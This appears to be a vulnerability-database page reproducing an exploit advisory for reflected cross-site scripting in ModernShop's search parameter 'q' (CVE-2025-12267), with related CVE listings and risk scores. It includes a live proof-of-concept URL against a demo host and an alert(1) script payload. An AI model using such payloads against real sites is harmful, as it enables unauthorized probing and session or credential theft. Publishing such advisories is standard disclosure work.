📄 ModernShop Cross Site Scripting

🗓️ 27 Oct 2025 00:00:00Reported by CraCkErType

packetstorm🔗 packetstorm.news👁 132 Views

ModernShop has a cross-site scripting flaw in the search parameter q that can steal credentials.

Reporter	Title	Published	Views	Family All 8
CNNVD	Modern Shop - PHP eCommerce Platform 代码注入漏洞	27 Oct 202500:00	–	cnnvd
CVE	CVE-2025-12267	27 Oct 202511:02	–	cve
Cvelist	CVE-2025-12267 abhicodebox ModernShop search cross site scripting	27 Oct 202511:02	–	cvelist
EUVD	EUVD-2025-36161	27 Oct 202512:32	–	euvd
NVD	CVE-2025-12267	27 Oct 202511:15	–	nvd
Positive Technologies	PT-2025-43934	27 Oct 202500:00	–	ptsecurity
RedhatCVE	CVE-2025-12267	28 Oct 202511:54	–	redhatcve
Vulnrichment	CVE-2025-12267 abhicodebox ModernShop search cross site scripting	27 Oct 202511:02	–	vulnrichment

# Exploit Title: ModernShop - RXSS
    # Exploit Author: CraCkEr
    # Date: 11-10-2025
    # Author of Script: ABHIRAM B
    # Vendor: ABHI CODE BOX
    # Vendor Homepage: https://www.codester.com/items/comments/58847/modern-shop-php-ecommerce-platform
    # Software Link: https://modernshop.apps.5g.in/
    # Demo Link: https://modernshop.apps.5g.in/
    # Tested on: Windows 11 Pro
    # Impact: Manipulate the content of the site
    # CWE: CWE-79 - CWE-74 - CWE-707
    # VDP: VDB-329939
    # CVE: CVE-2025-12267
    
    ## Description
    
    Attacker can send to victim a link containing a malicious URL in an email or instant message
    can perform a wide variety of actions, such as stealing the victim's session token or login credentials
    
    
    Path:
    
    /search
    
    
    GET parameter 'q' is vulnerable to XSS
    
    
    Live POC:
    
    https://modernshop.apps.5g.in/search?q=1bwkni%3e%3cscript%3ealert(1)%3c%2fscript%3ehu1c6
    
    Payload:
    
    bwkni><script>alert(1)</script>hu1c6
    
    
    [-] Done

27 Oct 2025 00:00Current

4.7Medium risk

Vulners AI Score4.7

CVSS 3.14.3

CVSS 25

CVSS 45.3

CVSS 34.3

EPSS0.0003

SSVC